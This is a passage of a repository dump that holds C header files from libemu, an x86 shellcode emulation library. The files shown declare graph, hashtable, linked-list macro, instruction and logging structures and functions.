link);\n\n\n\n\nenum emu_color { black, blue, cyan, green, grey, magenta, red, white, yellow };\n\n/**\n * The vertex is a vertex in a graph.\n * It can have edges to other vertexes, \n * and has backedges from the vertexes where it has edges too.\n * The following fields of the emu_vertex are for your own purposes:\n *  - color, usefull for bfs & dfs\n *  - distance, usefull for distance measurement\n *  - data, attach your own data\n * \n * @see emu_edge\n * @see emu_graph\n */\nstruct emu_vertex\n{\n\tvoid *data;\n\temu_edge_root  *edges;\n\n\temu_vertex_link link;\n\tenum emu_color color;\n\n\temu_edge_root  *backedges;\n\tuint32_t backlinks;\n\n\tuint32_t distance;\n};\n\n\nstruct emu_vertex *emu_vertex_new(void);\nvoid emu_vertex_free(struct emu_vertex *ev);\nvoid emu_vertex_data_set(struct emu_vertex *ev, void *data);\nvoid *emu_vertex_data_get(struct emu_vertex *ev);\nstruct emu_edge *emu_vertex_edge_add(struct emu_vertex *ev, struct emu_vertex *to);\n\ntypedef void (*emu_graph_destructor)(void *data);\nstruct emu_graph\n{\n\temu_vertex_root \t*vertexes;\n\temu_graph_destructor\tvertex_destructor;\n};\n\nstruct emu_graph *emu_graph_new(void);\nvoid emu_graph_free(struct emu_graph *eg);\nvoid emu_graph_vertex_add(struct emu_graph *eg, struct emu_vertex *ev);\n\nbool emu_graph_path_exists(struct emu_graph *eg, struct emu_vertex *from, struct emu_vertex *to);\nbool emu_graph_loop_detect(struct emu_graph *eg, struct emu_vertex *from);\nint32_t emu_graph_distance(struct emu_graph *eg, struct emu_vertex *from, struct emu_vertex *to);\n"
  },
  {
    "path": "include/emu/emu_hashtable.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#ifndef EMU_HASHTABLE_H\n#define EMU_HASHTABLE_H\n\n\n#include <stdint.h>\n#include <emu/emu_list.h>\n\n/**\n * The emu_hashtable_item stores the key/value pair.\n * \n * @see emu_hashtable\n * @see emu_hashtable_bucket_item\n */\nstruct emu_hashtable_item \n{\n\tvoid *key;\n\tvoid *value;\n};\n\n\ntypedef bool (*emu_hashtable_cmp_cb)(void *a, void *b);\ntypedef uint32_t (*emu_hashtable_hash_cb)(void *key);\ntypedef void (*emu_hashtable_destructor)(void *data);\n\n\nheader_list_typedefs(emu_hashtable_bucket_item_root,emu_hashtable_bucket_item,emu_hashtable_bucket_link);\n\nstruct emu_hashtable_bucket_item\n{\n\tstruct emu_hashtable_item item;\n\temu_hashtable_bucket_link link;\n};\nheader_list_functions(emu_hashtable_bucket_items,emu_hashtable_bucket_item_root, emu_hashtable_bucket_item, link);\n\nstruct emu_hashtable_bucket_item *emu_hashtable_bucket_item_new(void *key, void *value);\nvoid emu_hashtable_bucket_item_free(struct emu_hashtable_bucket_item *ehbi);\n\nstruct emu_hashtable_bucket\n{\n\temu_hashtable_bucket_item_root *items;\n};\n\nstruct emu_hashtable_bucket *emu_hashtable_bucket_new(void);\nvoid emu_hashtable_bucket_free(struct emu_hashtable_bucket *ehb);\nvoid emu_hashtable_bucket_item_add(struct emu_hashtable_bucket *ehb, struct emu_hashtable_bucket_item *ehbi);\n\n\n/**\n * the hashtable\n * \n * @see emu_hashtable_new\n * @see emu_hashtable_free\n * @see emu_hashtable_insert\n * @see emu_hashtable_delete\n * @see emu_hashtable_search\n */\nstruct emu_hashtable\n{\n\tuint32_t size;\n\tuint32_t filled;\n\tuint32_t item_count;\n\n\tstruct emu_hashtable_bucket **buckets;\n\n\temu_hashtable_hash_cb hash;\n\temu_hashtable_cmp_cb cmp;\n\n\temu_hashtable_destructor key_destructor;\n\temu_hashtable_destructor value_destructor;\n};\n\n\n/**\n * Create a bucket hashtable\n * Due to the problems of double hashing when it comes to deleting \n * elements we choose bucket hashtables.\n * If used wrong, as slow als linked lists, if used right, as fast as a\n * real (doublehash) hashtable.\n * \n * @param size   the size\n * @param hash   pointer to the hash function\n * @param cmp    pointer to the compare function\n * \n * @return on success, pointer to the hashtable\n *         on failure, NULL\n */\nstruct emu_hashtable *emu_hashtable_new(uint32_t size, \n\t\t\t\t\t\t\t\t\t\t\t   emu_hashtable_hash_cb hash, \n\t\t\t\t\t\t\t\t\t\t\t   emu_hashtable_cmp_cb cmp);\n\n/**\n * Free the hashtable,\n * if the emu_hashtable_destructors key_/value_destructor \n * within the emu_hashtable are set, freeing the hashtable will free the\n * data too, if not, only the hashtable itself is free'd.\n * \n * @param eh     the hashtable\n */\nvoid emu_hashtable_free(struct emu_hashtable *eh);\n\n\n/**\n * Search the hashtable for a key\n * \n * @param eh     the hashtable\n * @param key    the key to look for\n * \n * @return on success, pointer to the emu_hashtable_item holding the data\n *         on failure (key not found), NULL\n */\nstruct emu_hashtable_item *emu_hashtable_search(struct emu_hashtable *eh, void *key);\n\n/**\n * Insert a key/data pair into the hashtable\n * \n * @param eh     the hashtable\n * @param key    the key\n * @param data   the data\n * \n * @return on success: pointer to the emu_hashtable_item\n *         on failure: NULL\n */\nstruct emu_hashtable_item *emu_hashtable_insert(struct emu_hashtable *eh, void *key, void *data);\n\n/**\n * delete a key/data pair from the hashtable\n * \n * @param eh     the hashtable\n * @param key    the key to the key/data pair to remove\n * \n * @return on success: true\n *         on failure: false\n */\nbool emu_hashtable_delete(struct emu_hashtable *eh, void *key);\n\n\nuint32_t emu_hashtable_string_hash(void *data);\nbool emu_hashtable_string_cmp(void *a, void *b);\n\nuint32_t emu_hashtable_ptr_hash(void *data);\nbool emu_hashtable_ptr_cmp(void *a, void *b);\n\n\n#endif // EMU_HASHTABLE_H\n"
  },
  {
    "path": "include/emu/emu_instruction.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#ifndef EMU_INSTRUCTION_H\n#define EMU_INSTRUCTION_H\n\n#include <emu/emu_cpu_instruction.h>\n#include <emu/emu_fpu_instruction.h>\n#include \"emu/emu_track.h\"\n\n\n\n/**\n * The emu_instruction is the dummy struct for fpu/cpu instructions\n * The track & source information is used to \n * create the static instruction graph and run the binary \n * backwards traversal.\n * \n * @see emu_tracking_info\n */\nstruct emu_instruction\n{\n\tuint16_t prefixes;\n\tuint8_t opc;\n\tuint8_t is_fpu : 1;\n\t\n\tunion\n\t{\n\t\tstruct emu_cpu_instruction cpu;\n\t\tstruct emu_fpu_instruction fpu;\n\t};\n\n\tstruct \n\t{\n\t\tstruct emu_tracking_info init;\n\t\tstruct emu_tracking_info need;\t\t\n\t} track;\n\n\tstruct \n\t{\n\t\tuint8_t has_cond_pos : 1;\n\t\tuint32_t norm_pos;\n\t\tuint32_t cond_pos;\n\t} source;\n};\n\n#endif\n"
  },
  {
    "path": "include/emu/emu_list.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n\n#ifndef HAVE_EMU_LIST_H\n#define HAVE_EMU_LIST_H\n\n\n#include <stdbool.h>\n#include <stddef.h>\n#include <stdlib.h>\n#include <stdint.h>\n\n\n/* credit http://dotat.at/prog/lists/list.h\n * $Copyright: (C) 2001, 2002 Tony Finch <dot@dotat.at> $\n */\n\n\n#define xalloc malloc\n#define xfree(ptr, size) free(ptr)\n\n\n\n#define list__magic(ptr, t_src, src_field, t_dst, dst_field)\t\t\\\n\t((t_dst *)(\t(char *)(ptr)\t\t\t\t\t\\\n\t\t\t+ offsetof(t_src, src_field)\t\t\t\\\n\t\t\t- offsetof(t_dst, dst_field)\t))\n\n#define header_list_types(root_tag, elem_tag, link_tag)\t\t\t\\\n\t\t\t\t\t\t\t\t\t\\\nstruct link_tag { struct elem_tag *next, *prev; };\t\t\t\\\nstruct root_tag { struct link_tag  head,  tail; };\t\t\t\\\n\t\t\t\t\t\t\t\t\t\\\nstruct list__hack\n\n\n#define header_list_typedefs(t_root, t_elem, t_link)\t\t\\\n\t\t\t\t\t\t\t\t\t\t\t\t\t\\\nheader_list_types(t_root, t_elem, t_link);\t\t\t\t\t\\\n\t\t\t\t\t\t\t\t\t\t\t\t\t\\\ntypedef struct t_root t_root;\t\t\t\t\t\t\\\ntypedef struct t_elem t_elem;\t\t\t\t\t\t\\\ntypedef struct t_link t_link;\t\t\t\t\t\t\\\n\t\t\t\t\t\t\t\t\t\t\t\t\t\\\nstruct list__hack\n\n\n#define header_list_functions(name, t_root, t_elem, link) \\\n \\\n/* internal pointer magic utilities */ \\\n/* static inline */ t_elem *name##__head2elem(t_root *root); \\\n/* static inline */ t_elem *name##__tail2elem(t_root *root); \\\n/* static inline */ t_root *name##__elem2head(t_elem *elem); \\\n/* static inline */ t_root *name##__elem2tail(t_elem *elem); \\\n \\\n/* initializers */\t\t\t\t\t\t\t \\\n/* static inline */ void name##_init(t_root *root); \\\n/* static inline */ void name##_init_link(t_elem *elem); \\\n\t\t\t\t\t\t\t\t\t \\\n/* accessor functions */\t\t\t\t \\\n/* static inline */ t_elem *name##_first(t_root *root); \\\n/* static inline */ t_elem *name##_last(t_root *root); \\\n/* static inline */ t_elem *name##_next(t_elem *elem); \\\n/* static inline */ t_elem *name##_prev(t_elem *elem); \\\n \\\n\t/* predicates */\t\t\t\t\t\t\t \\\n/* static inline */ bool name##_empty(t_root *root); \\\n/* static inline */ bool name##_iselem(t_elem *elem); \\\n/* static inline */ bool name##_ishead(t_elem *elem); \\\n/* static inline */ bool name##_istail(t_elem *elem); \\\n/* static inline */ bool name##_isunlinked(t_elem *elem); \\\n \\\n/* faster but less safe predicates for looping */\t\t\t \\\n/* static inline */ bool name##_athead(t_elem *elem); \\\n/* static inline */ bool name##_attail(t_elem *elem); \\\n \\\n/* slightly more complicated predicates */\t\t\t\t \\\n/* static inline */ bool name##_isfirst(t_elem *elem); \\\n/* static inline */ bool name##_islast(t_elem *elem); \\\n \\\n/* internal list manipulation */\t\t\t\t\t \\\n/* static inline */ void name##__splice_before(t_elem *elem, t_elem *newX0, t_elem *newXN); \\\n/* static inline */ void name##__splice_after(t_elem *elem, t_elem *newX0, t_elem *newXN); \\\n/* static inline */ void name##__unsplice(t_elem *old0, t_elem *oldN); \\\n\t\t\t\t\t\t\t\t\t \\\n/* single element manipulation */\t\t \\\n/* static inline */ void name##_insert_before(t_elem *elem, t_elem *newX); \\\n/* static inline */ void name##_insert_after(t_elem *elem, t_elem *newX); \\\n/* static inline */ void name##_insert_first(t_root *root, t_elem *newX); \\\n/* static inline */ void name##_insert_last(t_root *root, t_elem *newX); \\\n/* static inline */ void name##_remove(t_elem *elem); \\\n/* static inline */ t_elem *name##_remove_first(t_root *root); \\\n/* static inline */ t_elem *name##_remove_last(t_root *root); \\\n/* static inline */ void name##_remove_next(t_elem *elem); \\\n/* static inline */ void name##_remove_prev(t_elem *elem); \\\n\t\t\t\t\t\t\t\t\t \\\n/* concatenation etc. */\t\t\t\t \\\n/* static inline */ void name##_concat(t_root *dst, t_root *src); \\\n\t\t\t\t\t\t\t\t\t \\\n/* safe magic for the user */\t\t\t \\\n/* static inline */ t_root *name##_getroot(t_elem *elem); \\\n\t\t\t\t\t\t\t\t\t \\\n/* looping operations */\t\t\t\t\t\t \\\n/* static inline */ t_root *name##_findroot_fwd(t_elem *elem); \\\n/* static inline */ t_root *name##_findroot_rev(t_elem *elem); \\\n/* static inline */ int name##_length(t_root *root); \\\n/* static */ void name##_qsort_r(t_root *root, void *arg, int (*cmp)(void *, t_elem *, t_elem *)); \\\n/* static */ int name##_qsort_cmp(void *a, t_elem *e1, t_elem *e2); \\\n/* static inline */ void name##_qsort(t_root *root, int (*cmp)(t_elem *, t_elem *)); \\\n/* static inline */ t_root *name##_create(void); \\\n/* static inline */ void name##_destroy(t_root *root); \\\nstruct list__hack\n\n\n\n\n\n\n/*!\n * \\brief Define a list's operations.\n *\n * \\param name   The name of the list\n *               (written NAME in the function documentation).\n * \\param t_root The name of the type of the list's root.\n * \\param t_elem The name of the type of the list's elements.\n * \\param link   The name of the link structure in each element.\n *\n * \\hideinitializer\n */\n#define source_list_functions(name, t_root, t_elem, link)\t\t\t\\\n\t\t\t\t\t\t\t\t\t\\\n/* internal pointer magic utilities */\t\t\t\t\t\\\n/* static inline */ t_elem *name##__head2elem(t_root *root) {\t\t\t\\\n\treturn(list__magic(root, t_root, head, t_elem, link));\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n/* static inline */ t_elem *name##__tail2elem(t_root *root) {\t\t\t\\\n\treturn(list__magic(root, t_root, tail, t_elem, link));\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n/* static inline */ t_root *name##__elem2head(t_elem *elem) {\t\t\t\\\n\treturn(list__magic(elem, t_elem, link, t_root, head));\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n/* static inline */ t_root *name##__elem2tail(t_elem *elem) {\t\t\t\\\n\treturn(list__magic(elem, t_elem, link, t_root, tail));\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n\t\t\t\t\t\t\t\t\t\\\n/* initializers */\t\t\t\t\t\t\t\\\n/* static inline */ void name##_init(t_root *root) {\t\t\t\t\\\n\troot->head.next = name##__tail2elem(root);\t\t\t\\\n\troot->head.prev = root->tail.next = NULL;\t\t\t\\\n\troot->tail.prev = name##__head2elem(root);\t\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n/* static inline */ void name##_init_link(t_elem *elem) {\t\t\t\\\n\telem->link.next = elem->link.prev = NULL;\t\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n\t\t\t\t\t\t\t\t\t\\\n/* accessor functions */\t\t\t\t\t\t\\\n/* static inline */ t_elem *name##_first(t_root *root) {\t\t\t\\\n\treturn(root->head.next);\t\t\t\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n/* static inline */ t_elem *name##_last(t_root *root) {\t\t\t\\\n\treturn(root->tail.prev);\t\t\t\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n/* static inline */ t_elem *name##_next(t_elem *elem) {\t\t\t\\\n\treturn(elem->link.next);\t\t\t\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n/* static inline */ t_elem *name##_prev(t_elem *elem) {\t\t\t\\\n\treturn(elem->link.prev);\t\t\t\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n\t\t\t\t\t\t\t\t\t\\\n/* predicates */\t\t\t\t\t\t\t\\\n/* static inline */ bool name##_empty(t_root *root) {\t\t\t\t\\\n\treturn(root->head.next->link.next == NULL);\t\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n/* static inline */ bool name##_iselem(t_elem *elem) {\t\t\t\\\n\treturn(elem->link.next != NULL && elem->link.prev != NULL);\t\\\n}\t\t\t\t\t\t\t\t\t\\\n/* static inline */ bool name##_ishead(t_elem *elem) {\t\t\t\\\n\treturn(elem->link.next != NULL && elem->link.prev == NULL);\t\\\n}\t\t\t\t\t\t\t\t\t\\\n/* static inline */ bool name##_istail(t_elem *elem) {\t\t\t\\\n\treturn(elem->link.next == NULL && elem->link.prev != NULL);\t\\\n}\t\t\t\t\t\t\t\t\t\\\n/* static inline */ bool name##_isunlinked(t_elem *elem) {\t\t\t\\\n\treturn(elem->link.next == NULL && elem->link.prev == NULL);\t\\\n}\t\t\t\t\t\t\t\t\t\\\n/* faster but less safe predicates for looping */\t\t\t\\\n/* static inline */ bool name##_athead(t_elem *elem) {\t\t\t\\\n\treturn(elem->link.prev == NULL);\t\t\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n/* static inline */ bool name##_attail(t_elem *elem) {\t\t\t\\\n\treturn(elem->link.next == NULL);\t\t\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n/* slightly more complicated predicates */\t\t\t\t\\\n/* static inline */ bool name##_isfirst(t_elem *elem) {\t\t\t\\\n\treturn(name##_athead(name##_prev(elem)));\t\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n/* static inline */ bool name##_islast(t_elem *elem) {\t\t\t\\\n\treturn(name##_attail(name##_next(elem)));\t\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n\t\t\t\t\t\t\t\t\t\\\n/* internal list manipulation */\t\t\t\t\t\\\n/* static inline */ void name##__splice_before\t\t\t\t\\\n\t\t(t_elem *elem, t_elem *newX0, t_elem *newXN) {\t\t\\\n\tnewX0->link.prev = elem->link.prev;\t\t\t\t\\\n\tnewXN->link.next = elem;\t\t\t\t\t\t\\\n\telem->link.prev->link.next = newX0;\t\t\t\t\\\n\telem->link.prev = newXN;\t\t\t\t\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n/* static inline */ void name##__splice_after\t\t\t\t\t\\\n\t\t(t_elem *elem, t_elem *newX0, t_elem *newXN) {\t\t\\\n\tnewXN->link.next = elem->link.next;\t\t\t\t\\\n\tnewX0->link.prev = elem;\t\t\t\t\t\t\\\n\telem->link.next->link.prev = newXN;\t\t\t\t\\\n\telem->link.next = newX0;\t\t\t\t\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n/* static inline */ void name##__unsplice(t_elem *old0, t_elem *oldN) {\t\\\n\told0->link.prev->link.next = oldN->link.next;\t\t\t\\\n\toldN->link.next->link.prev = old0->link.prev;\t\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n\t\t\t\t\t\t\t\t\t\\\n/* single element manipulation */\t\t\t\t\t\\\n/* static inline */ void name##_insert_before(t_elem *elem, t_elem *newX) {\t\\\n\tname##__splice_before(elem, newX, newX);\t\t\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n/* static inline */ void name##_insert_after(t_elem *elem, t_elem *newX) {\t\\\n\tname##__splice_after(elem, newX, newX);\t\t\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n/* static inline */ void name##_insert_first(t_root *root, t_elem *newX) {\t\\\n\tname##_insert_before(root->head.next, newX);\t\t\t\\\n\t/* or name##_insert_after(name##__head2elem(root), newX); */\t\\\n}\t\t\t\t\t\t\t\t\t\\\n/* static inline */ void name##_insert_last(t_root *root, t_elem *newX) {\t\\\n\tname##_insert_after(root->tail.prev, newX);\t\t\t\\\n\t/* or name##_insert_before(name##__tail2elem(root), newX); */\t\\\n}\t\t\t\t\t\t\t\t\t\\\n/* static inline */ void name##_remove(t_elem *elem) {\t\t\t\\\n\tname##__unsplice(elem, elem);\t\t\t\t\t\\\n\tname##_init_link(elem);\t\t\t\t\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n/* static inline */ t_elem *name##_remove_first(t_root *root) {\t\t\\\n\tt_elem *elem = name##_first(root);\t\t\t\t\\\n\tif(name##_attail(elem)) return(NULL);\t\t\t\t\\\n\tname##_remove(elem);\t\t\t\t\t\t\\\n\treturn(elem);\t\t\t\t\t\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n/* static inline */ t_elem *name##_remove_last(t_root *root) {\t\t\\\n\tt_elem *elem = name##_last(root);\t\t\t\t\\\n\tif(name##_athead(elem)) return(NULL);\t\t\t\t\\\n\tname##_remove(elem);\t\t\t\t\t\t\\\n\treturn(elem);\t\t\t\t\t\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n/* static inline */ void name##_remove_next(t_elem *elem) {\t\t\t\\\n\telem = name##_next(elem);\t\t\t\t\t\\\n\tif(!name##_attail(elem)) name##_remove(elem);\t\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n/* static inline */ void name##_remove_prev(t_elem *elem) {\t\t\t\\\n\telem = name##_prev(elem);\t\t\t\t\t\\\n\tif(!name##_athead(elem)) name##_remove(elem);\t\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n\t\t\t\t\t\t\t\t\t\\\n/* concatenation etc. */\t\t\t\t\t\t\\\n/* static inline */ void name##_concat(t_root *dst, t_root *src) {\t\t\\\n\tt_elem *elem0 = name##_first(src);\t\t\t\t\\\n\tt_elem *elemN = name##_last(src);\t\t\t\t\\\n\tif(name##_attail(elem0)) return;\t\t\t\t\\\n\tname##__unsplice(elem0, elemN);\t\t\t\t\t\\\n\tname##__splice_after(dst->tail.prev, elem0, elemN);\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n\t\t\t\t\t\t\t\t\t\\\n/* safe magic for the user */\t\t\t\t\t\t\\\n/* static inline */ t_root *name##_getroot(t_elem *elem) {\t\t\t\\\n\tif(name##_ishead(elem))\treturn(name##__elem2head(elem));\t\\\n\tif(name##_istail(elem))\treturn(name##__elem2tail(elem));\t\\\n\treturn(NULL);\t\t\t\t\t\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n\t\t\t\t\t\t\t\t\t\\\n/* looping operations */\t\t\t\t\t\t\\\n/* static inline */ t_root *name##_findroot_fwd(t_elem *elem) {\t\t\\\n\twhile(!name##_attail(elem))\t\t\t\t\t\\\n\t\telem = name##_next(elem);\t\t\t\t\\\n\treturn(name##__elem2tail(elem));\t\t\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n/* static inline */ t_root *name##_findroot_rev(t_elem *elem) {\t\t\\\n\twhile(!name##_athead(elem))\t\t\t\t\t\\\n\t\telem = name##_prev(elem);\t\t\t\t\\\n\treturn(name##__elem2head(elem));\t\t\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n/* static inline */ int name##_length(t_root *root) {\t\t\t\t\\\n\tt_elem *elem; int i;\t\t\t\t\t\t\\\n\tfor(elem = name##_first(root), i = 0;\t\t\t\t\\\n\t    !name##_attail(elem);\t\t\t\t\t\\\n\t    elem = name##_next(elem), i++);\t\t\t\t\\\n\treturn(i);\t\t\t\t\t\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n/* static */ void name##_qsort_r(t_root *root, void *arg,\t\t\t\\\n\t\tint (*cmp)(void *, t_elem *, t_elem *)) {\t\t\\\n\tt_elem *pivot, *elem;\t\t\t\t\t\t\\\n\tt_root one, two, three;\t\t\t\t\t\t\\\n\tint c;\t\t\t\t\t\t\t\t\\\n\t\t\t\t\t\t\t\t\t\\\n\tname##_init(&one);\t\t\t\t\t\t\\\n\tname##_init(&two);\t\t\t\t\t\t\\\n\tname##_init(&three);\t\t\t\t\t\t\\\n\t\t\t\t\t\t\t\t\t\\\n\tpivot = name##_remove_first(root);\t\t\t\t\\\n\tif(pivot == NULL) return;\t\t\t\t\t\\\n\tname##_insert_last(&two, pivot);\t\t\t\t\\\n\t\t\t\t\t\t\t\t\t\\\n\twhile(elem = name##_remove_first(root), elem != NULL) {\t\t\\\n\t\tc = cmp(arg, pivot, elem);\t\t\t\t\\\n\t\tif(c > 0)\t\t\t\t\t\t\\\n\t\t\tname##_insert_last(&one, elem);\t\t\t\\\n\t\telse\t\t\t\t\t\t\t\\\n\t\tif(c < 0)\t\t\t\t\t\t\\\n\t\t\tname##_insert_last(&three, elem);\t\t\\\n\t\telse\t\t\t\t\t\t\t\\\n\t\t\tname##_insert_last(&two, elem);\t\t\t\\\n\t}\t\t\t\t\t\t\t\t\\\n\tname##_qsort_r(&one, arg, cmp);\t\t\t\t\t\\\n\tname##_qsort_r(&three, arg, cmp);\t\t\t\t\\\n\tname##_concat(root, &one);\t\t\t\t\t\\\n\tname##_concat(root, &two);\t\t\t\t\t\\\n\tname##_concat(root, &three);\t\t\t\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n/* static */ int name##_qsort_cmp(void *a, t_elem *e1, t_elem *e2) {\t\t\\\n\t/* function pointers can't be portably cast to void pointers */\t\\\n\tint (**arg)(t_elem *, t_elem *) = a;\t\t\t\t\\\n\tint (*cmp)(t_elem *, t_elem *) = *arg;\t\t\t\t\\\n\treturn(cmp(e1,e2));\t\t\t\t\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n/* static inline */ void name##_qsort\t\t\t\t\t\t\\\n\t\t(t_root *root, int (*cmp)(t_elem *, t_elem *)) {\t\\\n\tname##_qsort_r(root, &cmp, name##_qsort_cmp);\t\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n\t\t\t\t\t\t\t\t\t\\\n/* memory handling */\t\t\t\t\t\t\t\\\n/* static inline */ t_root *name##_create(void) {\t\t\t\t\\\n\tt_root *root = xalloc(sizeof(*root));\t\t\t\t\\\n\tname##_init(root);\t\t\t\t\t\t\\\n\treturn(root);\t\t\t\t\t\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n/* static inline */ void name##_destroy(t_root *root) {\t\t\t\\\n\tt_elem *elem;\t\t\t\t\t\t\t\\\n\tif(root == NULL) return;\t\t\t\t\t\\\n\twhile(elem = name##_remove_first(root), elem != NULL)\t\t\\\n\t\txfree(elem, sizeof(*elem));\t\t\t\t\\\n\txfree(root, sizeof(*root));\t\t\t\t\t\\\n}\t\t\t\t\t\t\t\t\t\\\n\t\t\t\t\t\t\t\t\t\\\nstruct list__hack\n\n\n\n/* emu_list_* */\n\nheader_list_typedefs(emu_list_root,emu_list_item,emu_list_link);\n\nstruct emu_list_item\n{\n\tunion\n\t{\n\t\tvoid \t\t*data;\n\t\tuint32_t \tuint32;\n\t\tint32_t \tint32;\n\t\tchar \t\t*str;\n\t};\n\n\temu_list_link link;\n};\n\nheader_list_functions(emu_list, emu_list_root, emu_list_item, link);\nstruct emu_list_item *emu_list_item_create(void);\n\n#endif // HAVE_EMU_LIST_H\n"
  },
  {
    "path": "include/emu/emu_log.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, USA.\n * \n * \n *             contact nepenthesdev@users.sourceforge.net  \n *\n *******************************************************************************/\n\n#ifndef HAVE_EMU_LOG_H\n#define HAVE_EMU_LOG_H\n\nstruct emu;\n\nenum emu_log_level\n{\n\tEMU_LOG_NONE,\n\tEMU_LOG_INFO,\n\tEMU_LOG_DEBUG\n};\n\ntypedef void (*emu_log_logcb)(struct emu *e, enum emu_log_level level, const char *msg);\n\nstruct emu_logging *emu_log_new(void);\nvoid emu_log_free(struct emu_logging *el);\n\nvoid emu_log_level_set(struct emu_logging *el, enum emu_log_level level);\n\nvoid emu_log(struct emu *e, enum emu_log_level level, const char *format, ...);\n\nvoid emu_log_set_logcb(struct emu_logging *el, emu_log_logcb logcb);\n\nvoid emu_log_default_logcb(struct emu *e, enum emu_log_level level, const char *msg);\n\n#define logInfo(e, format...) emu_log(e, EMU_LOG_INFO, format)\n\n#ifdef DEBUG\n#define logDebug(e, format...) emu_log(e, EMU_LOG_DEBUG, format)\n#else\n#define logDebug(e, format...)\n#endif // DEBUG\n\n#define logPF(e) logDebug(e, \"in <%s> %s:%i>\\n\", __PRETTY_FUNCTION__, __FILE__,  __LINE__)\n\n#endif // HAVE_EMU_LOG_H\n"
  },
  {
    "path": "include/emu/emu_memory.h",
    "content": "/********************************************************************************\n *                               libemu\n *\n *                    - x86 shellcode emulation -\n *\n *\n * Copyright (C) 2007  Paul Baecher & Markus Koetter\n * \n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * \n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n * \n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA  02110-1301, 